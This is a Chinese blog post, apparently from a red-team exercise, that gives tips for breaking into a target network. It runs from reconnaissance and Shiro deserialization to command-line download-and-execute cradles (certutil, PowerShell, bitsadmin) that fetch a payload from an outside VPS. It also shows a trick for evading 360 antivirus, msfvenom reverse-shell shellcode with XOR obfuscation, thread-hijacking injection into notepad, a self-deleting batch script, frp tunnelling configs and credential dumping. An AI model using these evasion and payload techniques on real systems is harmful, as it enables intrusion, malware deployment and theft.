专栏首页漫流砂记一次攻防演练tips | 攻防tips

记一次攻防演练tips | 攻防tips

现在我依稀记得大家在9月25日晚集体过年的场景,没想到的是:那tm只是开始 这一段时间一直在打攻防,重复、单调、无长进,希望早日脱离苦海吧

下面以攻防过程中的一段经历来展现一些有意思的tips


0x01 信息收集

关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点

fofa

  • domain="baidu.com"
  • host="baidu.com"
  • title="baidu"
  • title="百度"
  • title="百度一下,你就知道"
  • body="(京)-经营性-2017-0020"
  • body="京公网安备11000002000001号"
  • body="京ICP证030173号"
  • icon_hash="-1507567067"
  • cert="baidu.com"

组合起来就是:

  • (host="baidu.com" || domain="baidu.com" || title="baidu" || title="百度" || title="百度一下,你就知道" || body="(京)-经营性-2017-0020" || body="京公网安备11000002000001号" || body="京ICP证030173号" || icon_hash="-1507567067" || cert="baidu.com") && country="CN" && region!="HK" && region!="TW"

导出结果可以使用fofa客户端

子域名挖掘

  • OneforAll
  • subDomainsBrute
  • theHarvester

邮箱

  • Google
    • site:github.com @baidu.com
  • theHarvester
    • 挂代理

0x02 资产梳理

goby 内测版

  • 安装好插件
  • 勾选 upnp等协议的发现
  • 给定的全部端口

Nmap 辅助

  • -sV
  • -O
  • --script=banner,vuln,exploit,brute

0x03 摸点

  • 网络设备、安全设备的默认口令
  • Weblogic、Struts2 远程代码执行
  • tomcat 默认口令
  • shiro 反序列化

这次的目标就是从 shiro 默认key 反序列化开始的

默认key,使用 CommonsCollections10 测试是否出网

稳了呀!

0x04 getshell

下马,上线

certutil -urlcache -split -f http://xx.xx.xx.xx/robots.txt C:\Users\admin\a.exe && C:\Users\admin\a.exe

在cs上等了很久也没有等到上线,到vps上一看,发现目标并没有发起下载请求,心中暗叫一声不好,估计有edr

tasklist 看一下

果然,有360,这个时候就需要考虑两件事了

  • 下载动作需要免杀
  • 木马需要免杀

360 是出了名的疯, 起个powershell,vbs没干啥就会拦截

但是,作为一个怀旧(啥也不会)的人,我还是打算把之前的方法试一试

  1. powershell
powershell (new-object System.Net.WebClient).DownloadFile(' http://xx.xx.xx.xx/robots.txt','C:\Users\admin\a.exe');start-process 'C:\Users\admin\a.exe'
  1. bitsadmin
bitsadmin /transfer n http://xx.xx.xx.xx/robots.txt C:\Users\admin\a.exe && C:\Users\admin\a.exe

还有很多,具体参照下面这篇文章

https://xz.aliyun.com/t/1649#toc-5

但是无一意外的被360干掉,没招了,只能自力更生了


接下来就是本文的重点了

powershell

正常的powershell下载文件确实会被干掉:

但是可以通过

echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

来进行绕过:

但是要注意,如果目标目录为桌面或者system32,360仍然会产生提醒,但是文件仍然会下载下来,且可以正常执行:

certutil

如果目标机器较老,很可能不存在powershell,此时就需要使用一些老方法,即certutil

certutil绕过360的方式网上已经有了(记一次渗透测试后引发的小扩展),

这里再提一个certutil编码解码。

windows不像linux,自带base64编码解码,但是 certutil 可以

certutil -encode x.exe x.txt

certutil -decode x.txt x.exe

通过编码指令将exe编码生成txt文件,然后通过 echo 写入,再调用 certutil 解码还原为PE文件

但是此时还有一个问题,就是echo无法一次性写入,需要换行,但是马编码后太长,所以不太方便。

暂时想到两个解决办法:

  • python脚本边读本地txt边echo到对方服务器
  • 写一个小程序,作用是在当前目录输出txt,再通过压缩的方式压缩程序大小,再通过certutil编码写入解码执行

木马免杀

解决了下载问题,接下来就是木马免杀,这次我就不再怀旧了,毕竟也没啥用,直接上部分干货吧

用c写木马,一般绕不过两个问题:

  • shellcode编码免杀
  • shellcode加载方式免杀

单纯使用metaslpoit生成shellcode:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.93 LPORT=1234 -f c > ~/Desktop/text.c

不管使用什么加载方式,如果只是单纯的加载这种shellcode,是一定会被杀毒软件查杀的,网上有人提出用msfvenom自带的编码器编码,我尝试了一下,仍然会被火绒kill,所以这里可以自己去编码:

    int key = 0x1a;
    unsigned char shellcode[sizeof(buf)] = "";
    for (int i = 0; i < sizeof(buf) - 1; i++)
    {
        shellcode[i] = (buf[i] ^ key) - 0x4;
    }

就这样一个很简单的异或+减去一个随机字符,就可以绕过杀软对shellcode 的静态查杀,当然木马也需要进行相应的解码。

shellcode加载方式现在也有很多,传统的方法是开辟一块地址空间存放shellcode,并将EIP/RIP指向该地址。

我这里选择线程注入的方式来做到隐蔽和免杀。

使用

CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

创建notepad进程,然后开辟一块Buffer,将 shellcode 写入 buffer,再使用

GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBuffer;

开辟一块线程并将 rip 指向buffer,就可执行对应的shellcode。通过此方法即可做到免杀,且进程为notepad,隐蔽性极强:

这里再提一个隐蔽的tips,就是自删除,我采用的方式是bat+自解压(自解压的详细操作在phishing中),这里附上bat脚本:

@ECHO OFF
set a=y.exe                            rem 定义a为马的名称
set b="%cd%\%a%"                rem 定义b为马的路径    
del /f /a /q %sfxcmd%        rem 删除自解压程序
del /f /a /q %b%                rem 删除马
del /f /a /q %0%                rem 删除bat自身

0x05 内网渗透

我对于攻防比赛中的内网渗透是及其反感的,迫于得分,所以不得不去做一些体力活,但是这种东西做的再多也没有意义

frp 设置socks5代理并进行端口映射

公网vps frps.ini

[common]
bind_addr =0.0.0.0
bind_port =7000
token = 9iathybNR7KL7EHd

目标主机 frpc.ini

[common]
server_addr =VPS_IP
server_port =7000
token = 9iathybNR7KL7EHd

[socks_proxy]
type = tcp
remote_port =8010
plugin = socks5

开启socks并映射端口

frpc.exe -c frpc.ini

永恒之蓝扫描

https://www.maritimecybersecurity.center/exploiting-windows-with-eternalblue-and-doublepulsar-with-metasploit/

mimikatz 抓明文密码&用密码撞库

这里附上之前的文章

弱口令

域控

  • ms14-068
  • Netlogon 特权提升漏洞(CVE-2020-1472)

就写到这吧,剩下的垃圾套路丢不起那人,大家把重点放在绕360下载和木马免杀就好


本文分享自微信公众号 - 漫流砂(yidalidemao),作者:意大利的猫

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-12-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • Phishing

    通过这个软件可以做到图片和木马程序绑定,点击之后图片正常显示,但同时会运行绑定的程序

    意大利的猫
  • 漏洞扫描之OpenVAS(二)(终)

    在上一篇文章写完之后我就开始写接下来的文章,不过我发现创建扫描策略的时候无法选择 NVT,选择就会提示未知的错误,此时我开始排查,发现是 OpenVAS Man...

    意大利的猫
  • Nmap

    Nmap 是网络安全届的明星级工具了,在扫描届几乎无敌,同时配合Script可以实现基本的渗透测试。Nmap 是安全人员必须熟练掌握的一个工具

    意大利的猫
  • Altium designer 同一个工程中把多个原理图的相同网络编号关联起来

    选择project--project options --options,按下图操作:

    小火柴棒
  • Java8StreamAPI实例

    filter内部使用的是lamda表达式,也是Java8的功能,o代表集合中每一个元素,o>5表示这个元素的值若大于5就返回true,就获取结果。collect...

    崔笑颜
  • 操作系统 内存管理 基本概念

    计算机系统中的存储器可以分为两类:内存储器(简称内存)和外存储器(简称外存)。处理器可以直接访问内存,但不能直接访问内存。CPU要通过启动相应的输入/输出设备后...

    Debug客栈
  • APP渗透测试 漏洞快速上路指南

    对新知识的学习,应该明确三点:学些什么?怎样去学?三是及时复习。本文以这三点为基础,围绕信息安全学习过程展开论述。大型目标点,在新知识的学习中,明确学习目标是第...

    网站安全专家
  • SpringBoot开发案例之整合Spring-data-jpa

    即使你是天才,如果你不努力,你也会被其它人超越。 ? 201509100645102367.jpg 扯淡 扯了那么多篇SpringBoot的相关案例,基本每行代...

    小柒2012
  • 谷歌监测代码管理器(GTM)基础教程 第2部分 - 创建代码

    主编前言: 很多朋友都听说过Tag Management(监测代码管理),但其强大的功能和实现方式,了解的朋友不多。本系列以Google Tag Manager...

    iCDO互联网数据官
  • SpringBoot开发案例之整合Spring-data-jpa

    扯了那么多篇SpringBoot的相关案例,基本每行代码都是博主纯手工编写,附代码案例,懂Maven和Git的小伙伴必须可以手到擒来。

    小柒2012

扫码关注云+社区

领取腾讯云代金券